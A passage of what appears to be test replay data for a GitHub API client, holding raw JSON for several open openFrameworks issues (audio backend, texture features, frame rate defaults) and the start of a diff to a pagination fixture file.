texture","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":2,"created_at":"2010-04-06T19:40:28Z","updated_at":"2013-02-11T12:13:02Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":" the idea is to be able to easily combine a rgb and alpha image into a rgba texture or ofImage. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/167","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/167/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/167/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/167/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/167","id":165898,"number":167,"title":"replace fmod","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"state":"open","assignee":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":5,"created_at":"2010-04-06T12:13:31Z","updated_at":"2012-03-03T19:40:33Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"can we do it?\r\nwe need cross platform:\r\nplayback \r\nstreaming\r\npitch\r\npan \r\nmultiplay \r\n\r\nfor us to be compatible with what exists. \r\nOpenAL seems like the best choice.\r\nWhat other options are there?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/140","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/140/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/140/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/140/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/140","id":163959,"number":140,"title":"texture compression and mipmaps for of texture","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":4,"created_at":"2010-04-02T19:43:00Z","updated_at":"2013-02-11T12:13:02Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"check out - http://www.openframeworks.cc/forum/viewtopic.php?p=19169#p19169\r\npossible integration into core. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/128","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/128/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/128/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/128/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/128","id":132671,"number":128,"title":"ofxTCPServer doesn't manage connected clients correcly","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2010-02-14T09:40:13Z","updated_at":"2012-03-12T16:15:52Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"http://www.openframeworks.cc/forum/viewtopic.php?f=10&t=3319"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/126","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/126/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/126/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/126/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/126","id":132377,"number":126,"title":"ofATan2GL / ofVecToGL ?","user":{"login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","html_url":"https://github.com/openframeworks","followers_url":"https://api.github.com/users/openframeworks/followers","following_url":"https://api.github.com/users/openframeworks/following","gists_url":"https://api.github.com/users/openframeworks/gists{/gist_id}","starred_url":"https://api.github.com/users/openframeworks/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/openframeworks/subscriptions","organizations_url":"https://api.github.com/users/openframeworks/orgs","repos_url":"https://api.github.com/users/openframeworks/repos","events_url":"https://api.github.com/users/openframeworks/events{/privacy}","received_events_url":"https://api.github.com/users/openframeworks/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":5,"created_at":"2010-02-13T14:22:51Z","updated_at":"2013-02-11T12:13:02Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Something that easily converts vector direction to openGL degrees?\r\nI find myself constantly trying to guess 270 - atan2(y, x)*RAD_TO_DEG ..... etc\r\nTo rotate something along a vector. \r\n\r\nMight be good to have it be aware of the GL world orientation - or have it so you pass in the up \r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/124","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/124/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/124/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/124/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/124","id":132373,"number":124,"title":"TTF type rendering in OF - fix fuzziness ","user":{"login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","html_url":"https://github.com/openframeworks","followers_url":"https://api.github.com/users/openframeworks/followers","following_url":"https://api.github.com/users/openframeworks/following","gists_url":"https://api.github.com/users/openframeworks/gists{/gist_id}","starred_url":"https://api.github.com/users/openframeworks/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/openframeworks/subscriptions","organizations_url":"https://api.github.com/users/openframeworks/orgs","repos_url":"https://api.github.com/users/openframeworks/repos","events_url":"https://api.github.com/users/openframeworks/events{/privacy}","received_events_url":"https://api.github.com/users/openframeworks/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"state":"open","assignee":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":7,"created_at":"2010-02-13T14:15:25Z","updated_at":"2013-02-11T12:13:01Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=3299&p=17852#p17852"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/115","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/115/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/115/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/115/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/115","id":111018,"number":115,"title":"opengl stress test example","user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2010-01-12T02:56:21Z","updated_at":"2012-02-27T12:30:49Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"it would make sense to have an opengl stress test app, that can test some basic about wether or not someone has ARB support, how fast their systems are, etc. I can imagine that for 0.07, we'll be helping people debug shaders and FBOs, having some way to gauge what kind of system they are on and what it can take, will be helpful. \r\n\r\nHere's a simple test app from the Lua-AV folks that looks like a reasonable system: \r\n\r\nhttp://img191.imageshack.us/img191/1659/picture3po.png"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/107","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/107/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/107/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/107/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/107","id":104702,"number":107,"title":"should we start all OF apps with a frame rate set?","user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":8,"created_at":"2009-12-31T15:10:45Z","updated_at":"2012-02-28T14:02:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"at the moment, we've got it like:\r\n\r\nofAppGlutWindow::ofAppGlutWindow(){\r\n\tfps\t\t\t\t= 60.0; //give a realistic starting value - win32 issues\r\n\tbFrameRateSet\t\t= false;\r\n}\r\n\r\nbut I personally prefer all apps to start with some kind of similar frame rate (ie, examples running really fast on mac, etc). see for example: \r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?p=16520&#p16520\r\n\r\nthis kind of thing leads to less \"cross-platform-ness\" and more confusion from beginners, no? \r\n\r\n- z\r\n\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/91","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/91/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/91/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/91/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/91","id":94898,"number":91,"title":"listDevices should return a list of strings","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":{"login":"obviousjim","id":321434,"avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","url":"https://api.github.com/users/obviousjim","html_url":"https://github.com/obviousjim","followers_url":"https://api.github.com/users/obviousjim/followers","following_url":"https://api.github.com/users/obviousjim/following","gists_url":"https://api.github.com/users/obviousjim/gists{/gist_id}","starred_url":"https://api.github.com/users/obviousjim/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/obviousjim/subscriptions","organizations_url":"https://api.github.com/users/obviousjim/orgs","repos_url":"https://api.github.com/users/obviousjim/repos","events_url":"https://api.github.com/users/obviousjim/events{/privacy}","received_events_url":"https://api.github.com/users/obviousjim/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":13,"created_at":"2009-12-09T17:11:40Z","updated_at":"2013-02-11T12:13:01Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"videoGrabber and serial listDevices should return a vector of strings apart from printing to console"}] - diff --git a/tests/ReplayData/PaginatedList.testCustomPerPageWithGetPage.txt b/tests/ReplayData/PaginatedList.testCustomPerPageWithGetPage.txt index 7b88f2b696..68cef28ef9 100644 --- a/tests/ReplayData/PaginatedList.testCustomPerPageWithGetPage.txt +++ b/tests/ReplayData/PaginatedList.testCustomPerPageWithGetPage.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '326617'), ('server', 